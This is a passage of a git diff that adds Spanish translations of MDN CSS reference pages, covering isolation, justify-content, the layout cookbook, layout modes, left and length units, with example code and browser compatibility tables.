+                &lt;li&gt;&lt;a href="example.html"&gt;Link&lt;/a&gt;&lt;/li&gt;
+                &lt;li&gt;&lt;a href="example.html"&gt;Link&lt;/a&gt;&lt;/li&gt;
+              &lt;/ul&gt;
+            &lt;/li&gt;
+            &lt;li&gt;&lt;a href="example.html"&gt;Link&lt;/a&gt;&lt;/li&gt;
+          &lt;/ul&gt;
+        &lt;/li&gt;
+      &lt;/ul&gt;
+    &lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;
+</pre>
+
+<p><span id="result_box" lang="es"><span class="hps">Vea nuestro</span> <span class="hps">ejemplo completo</span></span><a class="internal" href="https://mdn.mozillademos.org/files/3700/css_dropdown_menu.html" title="css_dropdown_menu.html">CSS-based dropdown menu example</a> <span id="result_box" lang="es"><span class="hps">para una posible</span> referencia<span>.</span></span></p>
+
+<h2 id="¿Y_ahora_qué"><span id="result_box" lang="es"><span class="hps">¿Y ahora qué</span><span>?</span></span></h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Su</span> <span class="hps alt-edited">hoja de estilos</span> <span class="hps alt-edited">de muestra</span> <span class="hps">está empezando a parecer</span> <span class="hps alt-edited">densa</span> <span class="hps alt-edited">y complicada.</span> <span class="hps">La</span> <span class="hps">siguiente sección</span> <span class="hps">describe</span> <span class="hps">maneras de hacer</span> <span class="hps">CSS</span> <span class="hps">más fácil de leer</span><span>.</span> </span> <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS" title="/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS">easier to read</a>.{{nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS", "Readable CSS")}}</p>
diff --git a/files/es/web/css/isolation/index.html b/files/es/web/css/isolation/index.html
new file mode 100644
index 0000000000..e4e6cf32d4
--- /dev/null
+++ b/files/es/web/css/isolation/index.html
@@ -0,0 +1,158 @@
+---
+title: Isolation
+slug: Web/CSS/isolation
+tags:
+  - CSS
+  - Composición CSS
+  - Propieiedad CSS
+translation_of: Web/CSS/isolation
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <strong><code>isolation</code></strong><code> define si el elemento debe crear un nuevo </code>{{glossary("stacking context")}}.</p>
+
+<p>Esto es especialmente útil en conjunto con {{cssxref("background-blend-mode")}} que solo mezclan fondos en un contexto de apilamiento determinado: permite aislar grupos de elementos de sus fondos más profundos y mezclar sus colores de fondo.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* Keyword values */
+isolation: auto;
+isolation: isolate;
+
+/* Global values */
+isolation: inherit;
+isolation: initial;
+isolation: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Es un keyword que indica que un nuevo contexto de apilamiento debe ser creado solo si una de las propiedades aplicadas al elemento lo requiere.</dd>
+ <dt><code>isolate</code></dt>
+ <dd>Es un keyword que indica que un nuevo contexto de apilamiento debe ser creado.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;div id="b" class="a"&gt;
+  &lt;div id="d"&gt;
+    &lt;div class="a c"&gt;auto&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div id="e"&gt;
+    &lt;div class="a c"&gt;isolate&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.a {
+  background-color: rgb(0,255,0);
+}
+#b {
+  width: 200px;
+  height: 210px;
+}
+.c {
+  width: 100px;
+  height: 100px;
+  border: 1px solid black;
+  padding: 2px;
+  mix-blend-mode: difference;
+}
+#d {
+  isolation: auto;
+}
+#e {
+  isolation: isolate;
+}</pre>
+
+<p>{{ EmbedLiveSample('Examples', "230", "230") }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Compositing', '#isolation', 'Isolation') }}</td>
+   <td>{{ Spec2('Compositing') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>
+    <p class="p1">{{CompatChrome(41.0)}}</p>
+   </td>
+   <td>{{CompatGeckoDesktop('36')}}</td>
+   <td>{{CompatNo()}}</td>
+   <td>30</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>
+    <p class="p1">{{CompatChrome(41.0)}}</p>
+   </td>
+   <td>{{CompatGeckoMobile('36')}}</td>
+   <td>{{CompatNo()}}</td>
+   <td>36</td>
+   <td>8.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="También_puedes_ver">También puedes ver</h2>
+
+<ul>
+ <li>{{cssxref("&lt;blend-mode&gt;")}}</li>
+ <li>{{cssxref("mix-blend-mode")}}, {{cssxref("background-blend-mode")}}</li>
+</ul>
diff --git a/files/es/web/css/justify-content/index.html b/files/es/web/css/justify-content/index.html
new file mode 100644
index 0000000000..56e6af1ff7
--- /dev/null
+++ b/files/es/web/css/justify-content/index.html
@@ -0,0 +1,222 @@
+---
+title: justify-content
+slug: Web/CSS/justify-content
+translation_of: Web/CSS/justify-content
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <a href="/en-US/docs/CSS" title="CSS">CSS</a> <strong><code>justify-content</code></strong> define cómo el navegador distribuye el espacio entre y alrededor de los items flex, a lo largo del eje principal de su contenedor.</p>
+
+<p>El alineamiento se produce luego de que las longitudes y márgenes automáticos son aplicados, lo que significa que, si existe al menos un elemento flexible con {{cssxref("flex-grow")}} diferente a 0, no tendrá efecto ya que no habrá espacio disponible.</p>
+
+<div class="note">
+<p>No se debe asumir que esta propiedad sólo se aplicará a contenedores flex en el futuro y por lo tanto no ocultarla simplemente estableciendo otro valor para {{cssxref("display")}}. El CSSWG está trabajano para <a href="http://dev.w3.org/csswg/css3-align/#justify-content" title="http://dev.w3.org/csswg/css3-align/#justify-content">extender su uso a cualquier elemento en bloque</a>. La especificación preliminar se encuentra en una etapa muy temprana y aún no está implementada.</p>
+</div>
+
+<div>{{cssinfo}}</div>
+
+<p>Véase <a href="/es/docs/CSS/Using_CSS_flexible_boxes" title="CSS/Using_CSS_flexible_boxes">Using CSS flexible boxes</a> para más propiedades e información.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* Alinear items flex desde el comienzo */
+justify-content: flex-start;
+
+/* Alinear items desde el final */
+justify-content: flex-end;
+
+/* Alinear items en el centro */
+justify-content: center;
+
+/* Distribuir items uniformemente
+El primer item al inicio, el último al final */
+justify-content: space-between;
+
+/* Distribuir items uniformemente
+Los items tienen el mismo espacio a su alrededor */
+justify-content: space-around;
+
+/* Valores globales */
+justify-content: inherit;
+justify-content: initial;
+justify-content: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>flex-start</code></dt>
+ <dd>Los items flex se colocan comenzando desde el <strong>comienzo principal</strong>. El margen del primer item es alineado al ras con el borde del comienzo principal de la línea y cada item siguiente es alineado al ras con el precedente.</dd>
+ <dt><code>flex-end</code></dt>
+ <dd>Los items flex se colocan comenzando desde el <strong>final principal</strong>. El margen del último item es alineado al ras con el borde del final principal de la línea y cada item precedente es alineado al ras con el siguiente.</dd>
+ <dt><code>center</code></dt>
+ <dd>Los items flex son colocados hacia el centro de la línea. Los items flex se alinean al ras entre sí y en torno al centro de la línea. El espacio entre el borde del comienzo principal de la línea y el primer item es el mismo que el espacio entre el borde del final principal y el último item de la línea.</dd>
+ <dt><code>space-between</code></dt>
+ <dd>Los items flex se distribuyen uniformemente sobre la línea. El espaciamiento se hace de tal manera que el espacio adyacente entre dos items es el mismo. El borde del comienzo principal y el borde del final principal se alinean al ras con el borde del primer y último item respectivamente.</dd>
+ <dt><code>space-around</code></dt>
+ <dd>Los items flex se alinean uniformemente de tal manera que el espacio entre dos items adyacentes es el mismo. El espacio vacío anterior al primer item y posterior al último item equivale a la mitad del espacio entre dos items adyacentes.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Contenido_HTML"><strong>Contenido HTML</strong></h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+  &lt;p&gt;justify-content: flex-start&lt;/p&gt;
+  &lt;div id="flex-start"&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+  &lt;/div&gt;
+
+  &lt;p&gt;justify-content: flex-end&lt;/p&gt;
+  &lt;div id="flex-end"&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+  &lt;/div&gt;
+
+  &lt;p&gt;justify-content: center&lt;/p&gt;
+  &lt;div id="center"&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+  &lt;/div&gt;
+
+  &lt;p&gt;justify-content: space-between&lt;/p&gt;
+  &lt;div id="space-between"&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+  &lt;/div&gt;
+
+  &lt;p&gt;justify-content: space-around&lt;/p&gt;
+  &lt;div id="space-around"&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+    &lt;div&gt;&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS"><strong>CSS</strong></h3>
+
+<pre class="brush: css">#container &gt; div {
+  display: flex;
+  font-family: "Courier New", "Lucida Console", monospace;
+}
+
+#container &gt; div &gt; div {
+  width: 50px;
+  height: 50px;
+  background: linear-gradient(-45deg, #788cff, #b4c8ff);
+}
+
+#flex-start {
+  justify-content: flex-start;
+}
+
+#center {
+  justify-content: center;
+}
+
+#flex-end {
+  justify-content: flex-end;
+}
+
+#space-between {
+  justify-content: space-between;
+}
+
+#space-around {
+  justify-content: space-around;
+}
+</pre>
+
+<p>Resultados en:</p>
+
+<p>{{ EmbedLiveSample('Ejemplos', 600, 550) }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Especificación</th>
+   <th>Estado</th>
+   <th>Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#justify-content', 'justify-content')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soprte básico</td>
+   <td>{{CompatGeckoDesktop("18.0")}} (behind a pref) [1]<br>
+    {{CompatGeckoDesktop("20.0")}}</td>
+   <td>21.0{{property_prefix("-webkit")}}</td>
+   <td>11</td>
+   <td>12.10</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soprte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>12.10</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox soporta sólo single-line flexbox hasta Firefox 28. Para activar soporte flexbox, para Firefox 18 y 19, el usuario debe cambiar la preferencia  about:config "layout.css.flexbox.enabled" a <code>true</code>.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/CSS/Using_CSS_flexible_boxes" title="CSS/Using_CSS_flexible_boxes">Using CSS flexible boxes</a></li>
+</ul>
diff --git a/files/es/web/css/layout_cookbook/index.html b/files/es/web/css/layout_cookbook/index.html
new file mode 100644
index 0000000000..1b46384b51
--- /dev/null
+++ b/files/es/web/css/layout_cookbook/index.html
@@ -0,0 +1,77 @@
+---
+title: Libro de recetas de maquetación CSS
+slug: Web/CSS/Layout_cookbook
+translation_of: Web/CSS/Layout_cookbook
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">El libro de recetas de maquetación CSS tiene como objetivo reunir recetas para patrones de diseño comunes, cosas que podrías necesitar para implementar en tus propios sitios. Además de proporcionar código que puedes utilizar como punto de partida en tus proyectos, estas recetas resaltan las diferentes formas en que se pueden utilizar las especificaciones de diseño y las opciones que puedes tomar como desarrollador.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si es nuevo en el diseño de CSS, es posible que primero quiera echar un vistazo a nuestro <a href="/en-US/docs/Learn/CSS/CSS_layout">módulo de aprendizaje de diseño CSS</a>, ya que esto le dará la base básica que necesita para hacer aquí uso de las recetas.</p>
+</div>
+
+<h2 id="Las_recetas">Las recetas</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Receta</th>
+   <th scope="col">Descripción</th>
+   <th scope="col">Metodos de maquetación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/docs/Web/CSS/Layout_cookbook/Media_objects">Objetos media</a></td>
+   <td>Una caja con dos-columnas con una imagen en un lado y texto descriptivo en el otro, por ejemplo, una entrada de facebook o un tweet.</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid</a>, alternativa {{cssxref("float")}}, dimensionamiento {{cssxref("fit-content")}}</td>
+  </tr>
+  <tr>
+   <td><a href="/docs/Web/CSS/Layout_cookbook/Column_layouts">Columnas</a></td>
+   <td>Cuándo elegir el diseño de varias columnas, flexbox o grid para sus columnas.</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid</a>, <a href="/en-US/docs/Web/CSS/CSS_Columns">Multicol</a>, <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a></td>
+  </tr>
+  <tr>
+   <td><a href="/docs/Web/CSS/Layout_cookbook/Center_an_element">Centrar un elemento</a></td>
+   <td>Cómo centrar un elemento horizontal y verticalmente.</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a>, <a href="/en-US/docs/Web/CSS/CSS_Box_Alignment">Box Alignment</a></td>
+  </tr>
+  <tr>
+   <td><a href="/docs/Web/CSS/Layout_cookbook/Sticky_footers">Pies de página pegajosos</a></td>
+   <td>Creación de un pie de página que se coloca en la parte inferior del contenedor o en la ventana de visualización cuando el contenido es más corto.</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid</a>, <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a></td>
+  </tr>
+  <tr>
+   <td><a href="/docs/Web/CSS/Layout_cookbook/Split_Navigation">Navegación dividida</a></td>
+   <td>Un patrón de navegación en el que algunos enlaces se separan visualmente de los demás.</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a>, {{cssxref("margin")}}</td>
+  </tr>
+  <tr>
+   <td><a href="/docs/Web/CSS/Layout_cookbook/Breadcrumb_Navigation">Navegación con migas de pan</a></td>
+   <td>Crear una lista de enlaces para permitir al visitante navegar de nuevo a través de la jerarquía de la página.</td>
+   <td>
+    <p><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a></p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="/docs/Web/CSS/Layout_cookbook/List_group_with_badges">Lista de grupos con insignias</a></td>
+   <td>Una lista de elementos con una insignia para mostrar un conteo.</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a>, <a href="/en-US/docs/Web/CSS/CSS_Box_Alignment">Box Alignment</a></td>
+  </tr>
+  <tr>
+   <td><a href="/docs/Web/CSS/Layout_cookbook/Pagination">Paginación</a></td>
+   <td>Enlaces a páginas de contenido (como los resultados de búsqueda).</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a>, <a href="/en-US/docs/Web/CSS/CSS_Box_Alignment">Box Alignment</a></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/Layout_cookbook/Card">Tarjeta</a></td>
+   <td>Un componente de tarjeta, que se muestra en una rejilla de tarjetas.</td>
+   <td><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">Grid Layout</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Aporta_con_una_receta">Aporta con una receta</h2>
+
+<p>Como con todo en MDN nos encantaría que contribuyeras con una receta en el mismo formato que los que se muestran arriba. <a href="/docs/user:chrisdavidmills/Layout_Cookbook_Home/Contribute_a_recipe">Revisa esta página</a> para obtener una plantilla y pautas para escribir su propio ejemplo.</p>
diff --git a/files/es/web/css/layout_mode/index.html b/files/es/web/css/layout_mode/index.html
new file mode 100644
index 0000000000..5e671c9806
--- /dev/null
+++ b/files/es/web/css/layout_mode/index.html
@@ -0,0 +1,31 @@
+---
+title: Layout mode
+slug: Web/CSS/Layout_mode
+tags:
+  - CSS
+  - Layout
+  - Referencia
+translation_of: Web/CSS/Layout_mode
+---
+<div>{{cssref}}</div>
+
+<p>Un <strong>modo de diseño</strong> <a href="https://developer.mozilla.org/es/docs/Web/CSS">CSS</a>(CSS layout mode), a veces simplemente llamado "<em>layout</em>", es un algoritmo que determina la posición y tamaño de cajas basado en la forma en la que interactúan con sus (elementos) hermanos y padres. Hay varios de ellos:</p>
+
+<ul>
+ <li>El <em>block layout</em>, diseñado para presentar documentos. El block layout contiene características de documento-centrado, como la capacidad de <a href="https://developer.mozilla.org/es/docs/Web/CSS/float">flotar</a>(<em>float</em>) elementos o distribuirlos en <em><a href="https://developer.mozilla.org/es/docs/Columnas_con_CSS-3">múltiples columnas.</a></em></li>
+ <li>El <em>inline layout,</em> diseñado para presentar texto.</li>
+ <li>El <em>table layout</em>, diseñado para presentar tablas.</li>
+ <li>El <em>positioned layout</em>, diseñado para posicionar elementos sin demasiada interacción con otros elementos. </li>
+ <li>El <em><a href="https://developer.mozilla.org/es/docs/Web/CSS/CSS_Flexible_Box_Layout/Conceptos_Basicos_de_Flexbox">flexible box layout</a></em>, diseñado para presentar páginas complejas que pueden redimensionarse de forma fluida.</li>
+ <li>El <em><a href="https://developer.mozilla.org/es/docs/Web/CSS/CSS_Grid_Layout">grid layout</a></em>, diseñado para presentar elementos relativos a una cuadrícula fija (fixed grid).</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota: </strong>No todas las <a href="https://developer.mozilla.org/es/docs/Web/CSS/Referencia_CSS">propiedades CSS</a> aplican a todos los <em><strong>modos de diseño</strong></em>. La mayoría de ellos aplican a uno o dos de ellos y no tienen efecto si se configuran en un elemento que es parte de otro modo de diseño.</p>
+</div>
+
+<h2 id="Ver_También">Ver También</h2>
+
+<ul>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/es/web/css/left/index.html b/files/es/web/css/left/index.html
new file mode 100644
index 0000000000..8a7912b86d
--- /dev/null
+++ b/files/es/web/css/left/index.html
@@ -0,0 +1,144 @@
+---
+title: left
+slug: Web/CSS/left
+translation_of: Web/CSS/left
+---
+<p>{{CSSRef}}</p>
+
+
+<p>La propiedad <code>left</code> especifica parte de la posición de un elemento (posicionado - es decir, con una posición determinada por código).</p>
+
+<p>Para los elementos con una posición absoluta (aquellos que tienen la propiedad {{ Cssxref("position") }}<code>: absolute</code> ó <code>position: fixed</code>), la propiedad left determina la distancia entre el margen izquierdo del elemento y el borde izquierdo de su bloque contenedor.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/left.html")}}</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="eval notranslate">left: &lt;length&gt; | &lt;percentage&gt; | auto | inherit ;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Una longitud, un valor negativo, cero, un valor positivo.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Un porcentaje del ancho del bloque contenedor.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">#wrap {
+  width: 700px;
+  margin: 0 auto;
+  background: #5C5C5C;
+}
+
+pre {
+  white-space: pre;
+  white-space: pre-wrap;
+  white-space: pre-line;
+  word-wrap: break-word;
+}
+
+#example_1 {
+  width: 200px;
+  height: 200px;
+  position: absolute;
+  left: 20px;
+  top: 20px;
+  background-color: #D8F5FF;
+}
+
+#example_2 {
+  width: 200px;
+  height: 200px;
+  position: relative;
+  top: 0;
+  right: 0;
+  background-color: #C1FFDB;
+
+}
+#example_3 {
+  width: 600px;
+  height: 400px;
+  position: relative;
+  top: 20px;
+  left: 20px;
+  background-color: #FFD7C2;
+}
+
+#example_4 {
+  width:200px;
+  height:200px;
+  position:absolute;
+  bottom:10px;
+  right:20px;
+  background-color:#FFC7E4;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div id="wrap"&gt;
+  &lt;div id="example_1"&gt;
+    &lt;pre&gt;
+      position: absolute;
+      left: 20px;
+      top: 20px;
+    &lt;/pre&gt;
+    &lt;p&gt;The only containing element for this div is the main window, so it positions itself in relation to it.&lt;/p&gt;
+  &lt;/div&gt;
+
+  &lt;div id="example_2"&gt;
+    &lt;pre&gt;
+      position: relative;
+      top: 0;
+      right: 0;
+    &lt;/pre&gt;
+    &lt;p&gt;Relative position in relation to its siblings.&lt;/p&gt;
+  &lt;/div&gt;
+
+  &lt;div id="example_3"&gt;
+    &lt;pre&gt;
+      float: right;
+      position: relative;
+      top: 20px;
+      left: 20px;
+    &lt;/pre&gt;
+    &lt;p&gt;Relative to its sibling div above, but removed from flow of content.&lt;/p&gt;
+
+    &lt;div id="example_4"&gt;
+      &lt;pre&gt;
+        position: absolute;
+        bottom: 10px;
+        right: 20px;
+      &lt;/pre&gt;
+      &lt;p&gt;Absolute position inside of a parent with relative position&lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('Ejemplos',1200,650)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#propdef-left">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/Style/CSS/current-work#positioning">CSS 3</a></li>
+</ul>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+
+<p>{{Compat("css.properties.left")}}</p>
+
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{ Cssxref("position") }}, {{ Cssxref("top") }}, {{ Cssxref("right") }}, {{ Cssxref("bottom") }}</li>
+</ul>
diff --git a/files/es/web/css/length/index.html b/files/es/web/css/length/index.html
new file mode 100644
index 0000000000..1b66b63ef9
--- /dev/null
+++ b/files/es/web/css/length/index.html
@@ -0,0 +1,332 @@
+---
+title: <length>
+slug: Web/CSS/length
+tags:
+  - Referencia
+  - Tipo de Dato CSS
+translation_of: Web/CSS/length
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Sumario" name="Sumario">Resumen</h2>
+
+<p>El tipo de dato <a href="/es/docs/Web/CSS">CSS</a> <code>&lt;length&gt;</code> denota medidas de distancia. Es un valor {{cssxref("&lt;number&gt;")}} seguido por una unidad de longitud (<code>px</code>, <code>em</code>, <code>pc</code>, <code>in</code>, <code>mm</code>, …). Al igual que en cualquier dimensión CSS, no debe haber espacio entre la unidad y el número. La unidad de longitud es opcional después del valor {{cssxref("&lt;number&gt;")}} <code>0</code>.</p>
+
+<p>Muchas propiedades CSS (<a href="es/CSS_Reference">CSS properties</a>) reciben valores <code>&lt;length&gt;</code>, como por ejemplo {{ Cssxref("width") }}, {{ Cssxref("margin-top") }}, y {{ Cssxref("font-size") }}.</p>
+
+<p>Para algunas propiedades, el uso de longitudes negativas es un error de sintaxis, mientras que para algunas propiedades está permitido. Nótese que aunque los valores {{cssxref("&lt;percentage&gt;")}} también son dimensiones CSS y son aceptadas por algunas propiedades CSS que aceptan valores <code>&lt;length&gt;</code>, no son valores <code>&lt;length&gt;</code> en sí.</p>
+
+<h2 id="Interpolación">Interpolación</h2>
+
+<p>Los valores de tipo <code>&lt;length&gt;</code> pueden ser interpolados para permitir animaciones. En este caso son interpolados como números reales, de punto flotante. La interpolación sucede en el valor calculado. La velocidad de la interpolación es definida por la función {{cssxref("&lt;timing-function&gt;")}} asociada a la animación.</p>
+
+<h2 id="Unidades" name="Unidades">Unidades</h2>
+
+<h3 id="Unidades_de_longitud_relativa">Unidades de longitud relativa</h3>
+
+<h4 id="Longitudes_relativas_a_la_fuente">Longitudes relativas a la fuente</h4>
+
+<dl>
+ <dt><code>em</code></dt>
+ <dd>Esta unidad representa el tamaño calculado de fuente ({{Cssxref("font-size")}}) del elemento. Si se usa dentro de la propiedad {{Cssxref("font-size")}}, representa el tamaño de fuente <em>heredado</em> por el elemento.
+ <div class="note">Esta unidad se usa por lo general para crear interfaces escalables, que mantengan el <a href="http://24ways.org/2006/compose-to-a-vertical-rhythm">ritmo vertical de la página</a>, aun cuando el usuario cambie el tamaño de las fuentes. Las propiedades CSS {{cssxref("line-height")}}, {{cssxref("font-size")}}, {{cssxref("margin-bottom")}} y {{cssxref("margin-top")}} generalemente tienen valores expresados en <strong>em</strong>.</div>
+ </dd>
+ <dt><code>ex</code></dt>
+ <dd>Esta unidad representa la <a href="https://es.wikipedia.org/wiki/Altura_de_la_x">altura de la x</a> de la fuente ({{Cssxref("font")}}) del elemento. En fuentes que incluyen la letra 'x', es generalmente la altura de letras minúsculas en la fuente; <code>1ex ≈ 0.5em </code>en muchas fuentes.</dd>
+ <dt id="ch"><code>ch</code></dt>
+ <dd>Esta unidad representa la anchura, o más precisamente, la medida de avance, del glifo '0' (cero, de caracter Unicode U+0030) en la fuente ({{Cssxref("font")}}) del elemento.</dd>
+ <dt id="rem"><code>rem</code></dt>
+ <dd>Esta unidad representa el tamaño ({{Cssxref("font-size")}}) del elemento raíz (p.ej. el tamaño de fuente del elemento {{HTMLElement("html")}}). Cuando se aplica a {{Cssxref("font-size")}} del elemento raíz, representa su valor inicial.
+ <div class="note">Esta unidad es práctica para crear interfaces perfectamente escalables. Si no es soportada por los navegadores, se puede recurrir a unidades <strong>em</strong>, aunque estas son ligeramente más complejas.</div>
+ </dd>
+</dl>
+
+<h4 id="Longitudes_de_porcentaje_del_viewport">Longitudes de porcentaje del viewport</h4>
+
+<p>Las longitudes de porcentaje del viewport definen una longitud relativa al tamaño del viewport, que es la porción visible del documento. Solamente los navegadores basados en Gecko actualizan los valores del viewport dinámicamente, cuando el tamaño de éste es modificado (al cambiar el tamaño de la ventana en una computadora de escritorio, o al girar el dispositivo, en teléfonos y tablets).</p>
+
+<p>En conjunto con <code>overflow:auto</code>, el espacio tomado por barras de desplazamiento no es restado al tamaño del viewport, mientras en el caso de <code>overflow:scroll</code>, sí lo es.</p>
+
+<p>En un bloque de declaración de la regla-at {{cssxref("@page")}}, el uso de longitudes de viewport es inválido, y la declaración será desechada.</p>
+
+<dl>
+ <dt><code>vh</code></dt>
+ <dd>1/100 de la altura del viewport.</dd>
+ <dt><code>vw</code></dt>
+ <dd>1/100 de la anchura del viewport.</dd>
+ <dt><code>vmin</code></dt>
+ <dd>1/100 del valor mínimo entre la altura y anchura del viewport.</dd>
+ <dt><code>vmax</code></dt>
+ <dd>1/100 del valor máximo entre la altura y anchura del viewport.</dd>
+</dl>
+
+<h3 id="Unidades_de_longitud_absoluta">Unidades de longitud absoluta</h3>
+
+<dl>
+</dl>
+
